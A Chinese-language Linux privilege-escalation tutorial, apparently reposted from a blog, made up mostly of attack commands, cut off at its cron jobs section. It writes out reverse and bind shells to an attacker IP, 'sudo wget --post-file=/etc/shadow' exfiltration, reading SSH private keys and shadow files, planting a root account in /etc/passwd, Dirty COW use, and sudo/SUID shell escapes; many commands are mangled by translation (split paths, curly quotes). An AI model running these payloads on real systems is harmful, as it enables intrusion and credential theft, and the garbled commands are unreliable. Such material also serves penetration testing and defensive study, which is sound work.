一文喫透Linux提權

Python實戰社羣

Java實戰社羣

長按識別下方二維碼,按需求添加

掃碼關注添加客服

進Python社羣▲

掃碼關注添加客服

進Java社羣

文章作者:dnsill

文章來源:https://s.yam.com/pze2i


0x001 linux提權描述


大多數計算機系統設計爲可與多個用戶一起使用。特權是指允許用戶執行的操作。普通特權包括查看和編輯文件或修改系統文件。特權升級意味着用戶獲得他們無權獲得的特權。這些特權可用於刪除文件,查看私人信息或安裝不需要的程序,例如病毒。通常,當系統存在允許繞過安全性的錯誤或對使用方法的設計假設存在缺陷時,通常會發生這種情況。

特權提升是利用操作系統或軟件應用程序中的錯誤,設計缺陷等等來獲得對通常受到應用程序或用戶保護的資源的更高訪問權限的行爲。結果是,具有比應用程序開發人員或系統管理員想要的特權更多的應用程序可以執行未經授權的操作。

特權升級有兩種類型:水平垂直。水平升級中,您從一個用戶轉移到另一個用戶。在這種情況下,兩個用戶都是通用的,而在垂直方式中,我們將特權從普通用戶提升爲管理員

簡單來說就是

即用戶無法訪問(讀取/寫入/執行)不允許訪問的文件。但是,超級用戶(root)可以訪問系統上存在的所有文件。爲了更改任何重要的配置或進行進一步的攻擊,首先,我們需要在任何基於Linux的系統上獲得root用戶訪問權限

爲什麼我們需要執行特權升級?

  • 讀/寫任何敏感文件

  • 重新啓動之間輕鬆保持

  • 插入永久後門

特權升級所使用的技術

我們假設現在我們在遠程系統上有外殼。根據我們滲透進去的方式,我們可能沒有“ root”特權。以下提到的技術可用於獲取系統上的“ root”訪問權限。

  • 內核漏洞

  • 以root身份運行的程序

  • 已安裝的軟件

  • 弱密碼/重用密碼/純文本密碼

  • 內部服務

  • Suid配置錯誤

  • 濫用sudo權利

  • 由root調用的可寫腳本

  • 路徑配置錯誤

  • Cronjobs

  • 卸載的文件系統

0x002 基本Linux權限提升前的信息收集

信息收集是關鍵。

(Linux)特權提升的TIps:

  • 信息信息,更多的信息收集,信息收集是整個滲透測試過程的

  • 整理信息,分析收集的信息和整理信息。

  • 搜索漏洞- 知道要搜索什麼以及在哪裏可以找到漏洞利用代碼。

  • 修改代碼- 修改漏洞利用程序,使其適合目前的滲透。並非每種漏洞都能爲“現成”的每個系統工作。漏洞看環境

  • 嘗試攻擊- 爲(很多)嘗試和錯誤做好準備。

操作系統

什麼是發行類型?什麼版本的?

cat /etc/issue cat /etc/*-release cat /etc/lsb-release # Debian based cat /etc/redhat-release # Redhat based

什麼是內核版本?是64位嗎?

cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz-

從環境變量中可以收集到什麼信息?環境變量中可能存在密碼或API密鑰

cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set

路徑(Path)

如果您對該變量內的任何文件夾都具有寫權限,則可以劫持某些庫或二進制文件:

PATH

echo $ PATH

有打印機嗎?

lpstat -a

應用與服務

哪些服務正在運行?哪個服務具有哪個用戶特權?

ps aux ps -ef top cat /etc/services

root正在運行哪些服務?在這些易受攻擊的服務中,值得仔細檢查!

ps aux | grep root ps -ef | grep root

安裝了哪些應用程序?他們是什麼版本的?他們目前在運行嗎?

ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/

服務設置是否配置錯誤?是否附有(脆弱的)插件?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf cat /etc/apache2/apache2.conf
cat /etc/my.conf cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

計劃了哪些工作?(計劃任務)

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

是否有純文本用戶名和/或密碼?

  • 檢查Web服務器連接到數據庫的文件(config.php或類似文件)

  • 檢查數據庫以獲取可能被重用的管理員密碼

  • 檢查弱密碼

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

通訊與網絡

系統具有哪些NIC?它是否連接到另一個網絡?

/sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network

什麼是網絡配置設置?我們可以找到關於該網絡的哪些信息?DHCP服務器?DNS服務器?網關?

cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname

其他哪些用戶和主機正在與系統通信?

在這種情況下,用戶正在運行某些只能從該主機獲得的服務。您無法從外部連接到服務。它可能是開發服務器,數據庫或其他任何東西。這些服務可能以root用戶身份運行,或者其中可能存在漏洞。由於開發人員或用戶可能在考慮“由於只有特定用戶可以訪問它,因此我們不需要花費那麼多的安全性”,因此它們可能更加脆弱。

檢查netstat並將其與您從外部進行的nmap掃描進行比較。您是否能從內部找到更多可用的服務?

# Linuxnetstat -anlpnetstat -ano  lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w

緩存了什麼?IP和/或MAC地址

arp -e route /sbin/route -nee

數據包嗅探是否可能?可以看到什麼?

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

注意:tcpdump tcp dst [ip] [端口]和tcp dst [ip] [端口]

我們有shell嗎?

nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results) telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445

是否可以進行端口轉發?重定向流量並與之交互

注意:FPipe.exe -l [本地端口] -r [遠程端口] -s [本地端口] [本地IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

注意:ssh-[L / R] [本地端口]:[遠程IP]:[遠程端口] [本地用戶] @ [本地IP]

ssh -L 8080:127.0.0.1:80 [email protected] # Local Port ssh -R 8080:127.0.0.1:80 [email protected] # Remote Port

注意:mknod backpipe p; nc -l -p [遠程端口]backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

可以使用隧道嗎?在本地遠程發送命令

ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig

機密信息和用戶

你是誰?誰登錄?誰已經登錄?那裏還有誰?誰能做什麼?

id

who

w

last

cat /etc/passwd | cut -d: -f1 # List of users

grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’ # List of super users

awk -F: ‘($3 == “0”) {print}’ /etc/passwd # List of super users

cat /etc/sudoers

sudo -l

可以找到哪些敏感文件?

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

home/root目錄有什麼“有用”的地方嗎?如果可以訪問

ls -ahlR /root/

ls -ahlR /home/

裏面有密碼嗎?腳本,數據庫,配置文件還是日誌文件?密碼的默認路徑和位置

cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

用戶正在做什麼?是否有純文本密碼?他們在編輯什麼?

cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history

可以找到哪些用戶信息?

cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

可以找到私鑰信息嗎?

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

文件系統

可以在/ etc /中寫入哪些配置文件?能夠重新配置服務?

ls -aRl /etc/ | awk ‘$1 ~ /^.w./‘ 2>/dev/null # Anyone

ls -aRl /etc/ | awk ‘$1 ~ /^..w/‘ 2>/dev/null # Owner

ls -aRl /etc/ | awk ‘$1 ~ /^…..w/‘ 2>/dev/null # Group

ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other

find /etc/ -readable -type f 2>/dev/null # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

在/ var /中可以找到什麼?

ls -alh /var/log ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

網站上是否有任何設置/文件(隱藏)?有數據庫信息的任何設置文件嗎?

ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

日誌文件中是否有任何內容(可以幫助“本地文件包含”!)

cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messagescat /var/log/secure

cat /var/log/syslogcat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

如果命令受到限制,我們得跳出“受到限制”外殼嗎?

python -c ‘import pty;pty.spawn(“/bin/bash”)’

echo os.system(‘/bin/bash’)

/bin/sh -i

是否存在安裝文件系統

mount df -h

是否有任何卸載的文件系統?

cat /etc/fstab

“Linux文件權限”是什麼?

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUIDfor i in `locate -r "bin$"`; do
find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)#
find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
可以在哪裏寫入和執行?一些“常見”位置:

/ tmp
/ var / tmp
/ dev / shm
find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders
find / -perm -o x -type d 2>/dev/null     # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders
任何“問題”文件嗎?Word可寫的“沒人”文件

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable filesfind /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files
準備和查找漏洞利用代碼
安裝/支持哪些開發工具/語言?

find / -name perl*

find / -name python*

find / -name gcc*

find / -name cc

如何上傳文件?

find / -name wget

find / -name nc*

find / -name netcat*

find / -name tftp*

find / -name ftp

系統是否已完全打補丁?

內核,操作系統,所有應用程序,其插件和Web服務

0x003 linux提權—自動信息收集

枚舉腳本

我主要使用了三個用於枚舉機器的腳本。它們在腳本之間有些區別,但是它們輸出的內容很多相同。因此,將它們全部測試一下,看看您最喜歡哪一個。

LinEnum

https://github.com/rebootuser/LinEnum

以下是選項:

-k Enter keyword-e Enter export location-t Include thorough (lengthy) tests-r Enter report name-h Displays this help text

Unix特權

http://pentestmonkey.net/tools/audit/unix-privesc-check
運行腳本並將輸出保存在文件中,然後使用grep發出警告。

Linprivchecker.py

https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py

0x004 linux提權-內核漏洞提權

通過利用Linux內核中的漏洞,有時我們可以提升特權。我們通常需要了解的操作系統,體系結構和內核版本是測試內核利用是否可行的測試方法。

內核漏洞

內核漏洞利用程序是利用內核漏洞來執行具有更高權限的任意代碼的程序。成功的內核利用通常以root命令提示符的形式爲攻擊者提供對目標系統的超級用戶訪問權限。在許多情況下,升級到Linux系統上的根目錄就像將內核漏洞利用程序下載到目標文件系統,編譯該漏洞利用程序然後執行它一樣簡單。

假設我們可以以非特權用戶身份運行代碼,這就是內核利用的通用工作流程。

1.誘使內核在內核模式下運行我們的有效負載

2.處理內核數據,例如進程特權3.以新特權啓動shell root!

考慮到要成功利用內核利用攻擊,攻擊者需要滿足以下四個條件:

1.易受攻擊的內核

2.匹配的漏洞利用程序

3.將漏洞利用程序轉移到目標上的能力

4.在目標上執行漏洞利用程序的能力

抵禦內核漏洞的最簡單方法是保持內核的修補和更新。在沒有補丁的情況下,管理員可以極大地影響在目標上轉移和執行漏洞利用的能力。考慮到這些因素,如果管理員可以阻止將利用程序引入和/或執行到Linux文件系統上,則內核利用程序攻擊將不再可行。因此,管理員應專注於限制或刪除支持文件傳輸的程序,例如FTP,TFTP,SCP,wget和curl。當需要這些程序時,它們的使用應限於特定的用戶,目錄,應用程序(例如SCP)和特定的IP地址或域。

內核信息收集

一些基本命令收集一些Linux內核信息

命令 結果


uname -a 打印所有可用的系統信息


uname -m Linux內核體系結構(32或64位)


uname -r 內核發佈


uname -n要麼hostname 系統主機名


cat /proc/version 內核信息


cat /etc/*-release要麼cat /etc/issue 發行信息


cat /proc/cpuinfo CPU信息


df -a 文件系統信息


dpkg —list 2>/dev/null grep compiler grep -v decompiler 2>/dev/null && yum list installed ‘gcc*’ 2>/dev/null grep gcc 2>/dev/null 列出可用的編譯器

搜索漏洞

site:exploit-db.com kernel version python linprivchecker.py extended

通過髒牛(**CVE-2016-5195**)利用易受攻擊的機器
$ whoami命令–告訴我們當前用戶是john(非root用戶)
$ uname -a –給我們我們知道容易受到dirtycow攻擊的內核版本>從此處下載dirtycow漏洞– https://www.exploit-db .com / exploits / 40839 />編譯並執行。通過編輯/ etc / passwd文件,它將“ root”用戶替換爲新用戶“ rash”。
$ su rash –將當前登錄用戶更改爲root用戶的“ rash”。


其他內核提權

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

對於不同的內核和操作系統,可以公開獲得許多不同的本地特權升級漏洞。是否可以使用內核利用漏洞在Linux主機上獲得root訪問權限,取決於內核是否易受攻擊。Kali Linux具有exploit-db漏洞的本地副本,這使搜索本地根漏洞更加容易。我不建議在搜索Linux內核漏洞時完全依賴此數據庫。

避免一開始就利用任何本地特權升級漏洞

如果可以避免,請不要使用內核漏洞利用。如果使用它,可能會使計算機崩潰或使其處於不穩定狀態。因此,內核漏洞利用應該是最後的手段。

0x005 linux提權-利用以root權限運行的服務

描述

著名的EternalBlue和SambaCry漏洞利用了以root身份運行的smb服務。由於它的致命組合,它被廣泛用於在全球範圍內傳播勒索軟件。

這裏的手法是,如果特定服務以root用戶身份運行,並且我們可以使該服務執行命令,則可以root用戶身份執行命令。

我們可以重點檢查Web服務,郵件服務,數據庫服務等是否以root用戶身份運行。很多時候,運維都以root用戶身份運行這些服務,而忽略了它可能引起的安全問題。可能有一些服務在本地運行,而沒有公開暴露出來,但是也可以利用。

netstat -antup 顯示所有打開並正在監聽的端口。我們可以檢查在本地運行的服務是否可以被利用。

ps aux 列出哪些進程正在運行

ps -aux | grep root 列出以root身份運行的服務。

Matesploits

ps  檢查哪些進程正在運行

利用以root用戶身份運行的易受攻擊的MySQL版本來獲得root用戶訪問權限

MySQL UDF動態庫漏洞利用可讓我們從mysql shell執行任意命令。如果mysql以root特權運行,則命令將以root身份執行。

ps -aux | grep root 列出以root身份運行的服務。

可以看到mysql服務以root用戶組運行,那麼我們可以使用將作爲root用戶執行的MySQL Shell執行任意命令

擁有root權限的程序的二進制漏洞利用遠沒有內核漏洞利用危險,因爲即使服務崩潰,主機也不會崩潰,並且服務可能會自動重啓。

防禦

除非真正需要,否則切勿以root用戶身份運行任何服務,尤其是Web,數據庫和文件服務器。

0x006 linux提權—濫用SUDO

在滲透中,我們拿到的webshell和反彈回來的shell權限可能都不高,如果我們可以使用sudo命令訪問某些程序,則我們可以使用sudo可以升級特權。在這裏,我顯示了一些二進制文件,這些文件可以幫助您使用sudo命令提升特權。但是在特權升級之前,讓我們瞭解一些sudoer文件語法,sudo命令是什麼?;)。

  1. 什麼是SUDO?

  2. Sudoer文件語法。

  3. 利用SUDO用戶

  • /usr/bin/find

  • /usr/bin/nano

  • /usr/bin/vim

  • /usr/bin/man

  • /usr/bin/awk

  • /usr/bin/less

  • /usr/bin/nmap ( –interactive and –script method)

  • /bin/more

  • /usr/bin/wget

  • /usr/sbin/apache2

什麼是SUDO ??

sudo是linux系統管理指令,是允許系統管理員讓普通用戶執行一些或者全部的root命令的一個工具,如halt,reboot,su等等。這樣不僅減少了root用戶的登錄 和管理時間,同樣也提高了安全性。sudo不是對shell的一個代替,它是面向每個命令的。

基礎

它的特性主要有這樣幾點:

  • sudo能夠限制用戶只在某臺主機上運行某些命令。

  • sudo提供了豐富的日誌,詳細地記錄了每個用戶幹了什麼。它能夠將日誌傳到中心主機或者日誌服務器。

  • sudo使用時間戳文件來執行類似的“檢票”系統。當用戶調用sudo並且輸入它的密碼時,用戶獲得了一張存活期爲5分鐘的票(這個值可以在編譯的時候改變)。

  • sudo的配置文件是sudoers文件,它允許系統管理員集中的管理用戶的使用權限和使用的主機。它所存放的位置默認是在/etc/sudoers,屬性必須爲0440。

在sudo於1980年前後被寫出之前,一般用戶管理系統的方式是利用su切換爲超級用戶。但是使用su的缺點之一在於必須要先告知超級用戶的密碼。

sudo使一般用戶不需要知道超級用戶的密碼即可獲得權限。首先超級用戶將普通用戶的名字、可以執行的特定命令、按照哪種用戶或用戶組的身份執行等信息,登記在特殊的文件中(通常是/etc/sudoers),即完成對該用戶的授權(此時該用戶稱爲“sudoer”);在一般用戶需要取得特殊權限時,其可在命令前加上“sudo”,此時sudo將會詢問該用戶自己的密碼(以確認終端機前的是該用戶本人),回答後系統即會將該命令的進程以超級用戶的權限運行。之後的一段時間內(默認爲5分鐘,可在/etc/sudoers自定義),使用sudo不需要再次輸入密碼。

由於不需要超級用戶的密碼,部分Unix系統甚至利用sudo使一般用戶取代超級用戶作爲管理帳號,例如Ubuntu、Mac OS X等。

參數說明

  • -V 顯示版本編號

  • -h 會顯示版本編號及指令的使用方式說明

  • -l 顯示出自己(執行 sudo 的使用者)的權限

  • -v 因爲 sudo 在第一次執行時或是在 N 分鐘內沒有執行(N 預設爲五)會問密碼,這個參數是重新做一次確認,如果超過 N 分鐘,也會問密碼

  • -k 將會強迫使用者在下一次執行 sudo 時問密碼(不論有沒有超過 N 分鐘)

  • -b 將要執行的指令放在背景執行

  • -p prompt 可以更改問密碼的提示語,其中 %u 會代換爲使用者的帳號名稱, %h 會顯示主機名稱

  • -u username/#uid 不加此參數,代表要以 root 的身份執行指令,而加了此參數,可以以 username 的身份執行指令(#uid 爲該 username 的使用者號碼)

  • -s 執行環境變數中的 SHELL 所指定的 shell ,或是 /etc/passwd 裏所指定的 shell

  • -H 將環境變數中的 HOME (家目錄)指定爲要變更身份的使用者家目錄(如不加 -u 參數就是系統管理者 root )

  • command 要以系統管理者身份(或以 -u 更改爲其他人)執行的指令

Sudoer文件

sudoers文件主要有三部分組成:

  • sudoers的默認配置(default),主要設置sudo的一些缺省值

  • alias(別名),主要有
    Host_Alias|Runas_Alias|User_Alias|Cmnd_Alias。

  • 安全策略(規則定義)——重點。語法

root ALL=(ALL) ALL

說明1:root用戶可以從  ALL終端作爲  ALL(任意)用戶執行,並運行  ALL(任意)命令。

第一部分是用戶,第二部分是用戶可以在其中使用sudo命令的終端,第三部分是他可以充當的用戶,最後一部分是他在使用時可以運行的命令。sudo

touhid ALL= /sbin/poweroff

說明2:以上命令,使用戶可以從任何終端使用touhid**的用戶密碼**關閉命令電源。

touhid ALL = (root) NOPASSWD: /usr/bin/find

說明3:上面的命令,使用戶可以從任何終端運行,以root用戶身份運行命令find 而無需密碼

利用SUDO用戶

要利用sudo用戶,您需要找到您必須允許的命令。
sudo -l

上面的命令顯示了允許當前用戶使用的命令。

此處sudo -l,顯示用戶已允許以root用戶身份執行所有此二進制文件而無需密碼。

讓我們一一查看所有二進制文件(僅在索引中提到)和將特權提升給root用戶。

使用查找命令

sudo find / etc / passwd -exec / bin / sh \;

要麼

sudo find / bin -name nano -exec / bin / sh \;

使用Vim命令

sudo vim -c’!sh’

使用Nmap命令

sudo nmap-交互式nmap>!shsh-4.1#

注意:**nmap –interactive選項在最新的nmap**中不可用。

沒有互動的最新方式

echo“ os.execute(’/ bin / sh’)”> /tmp/shell.nse && sudo nmap —script = / tmp / shell.nse

使用Man命令

sudo man man

之後按按下並按Enter

使用less/more命令

sudo less / etc / hosts

sudo more / etc / hosts

之後按按下並按Enter

使用awk命令

sudo awk’BEGIN {system(“ / bin / sh”)}’

使用nano命令

nano是使用此編輯器的文本編輯器,在您需要切換用戶之後,您可以修改passwd文件並將用戶添加爲root特權。在/ etc /passwd中添加此行,以將用戶添加爲root特權。

touhid:$ 6 $ bxwJfzor $ MUhUWO0MUgdkWfPPEydqgZpm.YtPMI / gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/ root:/ bin

sudo nano / etc / passwd

現在切換用戶密碼是:test

su touhid

使用wget命令

這種非常酷的方式要求Web服務器下載文件。這樣我從沒在任何地方見過。讓我們解釋一下。

  • 首先將Target的/ etc / passwd文件複製到攻擊者計算機。

  • 修改文件,並在上一步中保存的密碼文件中添加用戶到攻擊者計算機。

  • 僅附加此行=>   touhid**$ 6 $ bxwJfzor $ MUhUWO0MUgdkWfPPEydqgZpm.YtPMI / gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0 / 0broot / root:**

  • 將passwd文件託管到使用任何Web服務器的主機。

在受害者方面。

sudo wget http://192.168.56.1:8080/passwd -O / etc / passwd

現在切換用戶密碼是:test

su touhid

注意:如果您要從服務器上轉儲文件,例如rootssh密鑰,shadow文件等。

sudo wget —post-file = / etc / shadow 192.168.56.1:8080

攻擊者的設置偵聽器:nc –lvp 8080

使用apache命令

但是,我們無法獲得Shell和Cant編輯系統文件。

但是使用它我們可以查看系統文件。

sudo apache2 -f / etc / shadow

輸出是這樣的:

Syntax error on line 1 of /etc/shadow:Invalid command 'root:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:17298:0:99999:7:::', perhaps misspelled or defined by a module not included in the server configuration

可悲的是沒有shell。但是我們可以現在提取root哈希,然後在破解了哈希。

0x007 linux提權-Suid和Guid配置錯誤

描述

SUID代表設置的用戶ID,是一種Linux功能,允許用戶在指定用戶的許可下執行文件。例如,Linux ping命令通常需要root權限才能打開網絡套接字。通過將ping程序標記爲SUID(所有者爲root),只要低特權用戶執行ping程序,便會以root特權執行ping。

SUID(設置用戶ID)是賦予文件的一種權限,它會出現在文件擁有者權限的執行位上,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。

當運行具有suid權限的二進制文件時,它將以其他用戶身份運行,因此具有其他用戶特權。它可以是root用戶,也可以只是另一個用戶。如果在程序中設置了suid,該位可以生成shell或以其他方式濫用,我們可以使用它來提升我們的特權。

以下是一些可用於產生SHELL的程序:

nmap

vim

less more

nano

cpmv

find

查找suidguid文件

Find SUID find / -perm -u=s -type f 2>/dev/null Find GUID find / -perm -g=s -type f 2>/dev/null

其他命令

命令 結果


find / -perm -4000 -type f 2>/dev/null 查找SUID文件


find / -uid 0 -perm -4000 -type f 2>/dev/null 查找root擁有的SUID文件


find / -perm -2000 -type f 2>/dev/null 查找SGID文件(粘性位)


find / ! -path “/proc/“ -perm -2 -type f -print 2>/dev/null 查找世界可寫文件,不包括proc文件


find / -type f ‘(‘ -name .cert -or -name .crt -or -name .pem -or -name .ca -or -name .p12 -or -name .cer -name .der ‘)’ ‘(‘ ‘(‘ -user support -perm -u=r ‘)’ -or ‘(‘ -group support -perm -g=r ‘)’ -or ‘(‘ -perm -o=r ‘)’ ‘)’ 2> /dev/null-or -name .cer -name *.der ‘)’ 2> /dev/null 查找您可以閱讀的密鑰或證書


find /home –name *.rhosts -print 2>/dev/null 查找rhost配置文件


find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ; 查找hosts.equiv,列出權限並管理文件內容


cat ~/.bash_history 顯示當前用戶歷史記錄


ls -la ~/.*_history 向當前用戶分發各種歷史文件


ls -la ~/.ssh/ 檢查當前用戶的ssh文件


find /etc -maxdepth 1 -name ‘.conf’ -type f要麼ls -la /etc/.conf 在/ etc中列出配置文件(深度1,在第一個命令中修改maxdepth參數以對其進行更改)


lsof grep ‘/home/\ /etc/\ /opt/‘ 顯示可能有趣的打開文件

也可以使用 sudo -l 命令列出當前用戶可執行的命令

常用提權方式

nmap

find / -perm -u = s -type f 2> / dev / null –查找設置了SUID位的可執行文件

ls -la / usr / local / bin / nmap –讓我們確認nmap是否設置了SUID位。

Nmap的SUID位置1。很多時候,管理員將SUID位設置爲nmap,以便可以有效地掃描網絡,因爲如果不使用root特權運行它,則所有的nmap掃描技術都將無法使用。

但是,nmap(2.02-5.21)存在交換模式,可利用提權,我們可以在此模式下以交互方式運行nmap,從而可以轉至shell。如果nmap設置了SUID位,它將以root特權運行,我們可以通過其交互模式訪問’root’shell。

nmap –interactive –運行nmap交互模式!sh –我們可以從nmap shell轉到系統shell

msf中的模塊爲:

exploit/unix/local/setuid_nmap

較新版可使用 —script 參數:

echo “os.execute(‘/bin/sh’)” > /tmp/shell.nse && sudo nmap —script=/tmp/shell.nse

find

touch test

nc 反彈 shell:

find test -exec netcat -lvp 5555 -e /bin/sh \;

vi/vim

Vim的主要用途是用作文本編輯器。但是,如果以SUID運行,它將繼承root用戶的權限,因此可以讀取系統上的所有文件。

打開vim,按下ESC

:set shell=/bin/sh:shell

或者

sudo vim -c ‘!sh’

bash

以下命令將以root身份打開一個bash shell

bash -pbash-3.2# iduid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less

程序Less也可以執行提權後的shell。同樣的方法也適用於其他許多命令。

less /etc/passwd!/bin/sh

more

more /home/pelle/myfile!/bin/bash

cp

覆蓋 /etc/shadow 或 /etc/passwd

[zabbix@localhost ~]$ cat /etc/passwd >passwd[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123$1$hack$WTn0dk2QjNeKfl.DHOUue0[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd[zabbix@localhost ~]$ cp passwd /etc/passwd[zabbix@localhost ~]$ su - hackPassword:[root@361way ~]# iduid=0(hack) gid=0(root) groups=0(root)[root@361way ~]# cat /etc/passwd|tail -1hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

mv

覆蓋 /etc/shadow 或 /etc/passwd

[zabbix@localhost ~]$ cat /etc/passwd >passwd[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123$1$hack$WTn0dk2QjNeKfl.DHOUue0[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd[zabbix@localhost ~]$ mv passwd /etc/passwd[zabbix@localhost ~]$ su - hackPassword:[root@361way ~]# iduid=0(hack) gid=0(root) groups=0(root)[root@361way ~]# cat /etc/passwd|tail -1hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

nano

nano  /etc/passwd

awk

awk ‘BEGIN {system(“/bin/sh”)}’

man

man passwd!/bin/bash

wget

wget http://192.168.56.1:8080/passwd -O /etc/passwd

apache

僅可查看文件,不能彈 shell:

apache2 -f /etc/shadow

tcpdump

echo $’id\ncat /etc/shadow’ > /tmp/.testchmod +x /tmp/.testsudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

python/perl/ruby/lua/php/etc

python

python -c “import os;os.system(‘/bin/bash’)”

perl

exec “/bin/bash”;

0x008 linux提權—利用定時任務(Cron jobs)

如果未正確配置Cronjob,則可以利用該Cronjob獲得root特權。

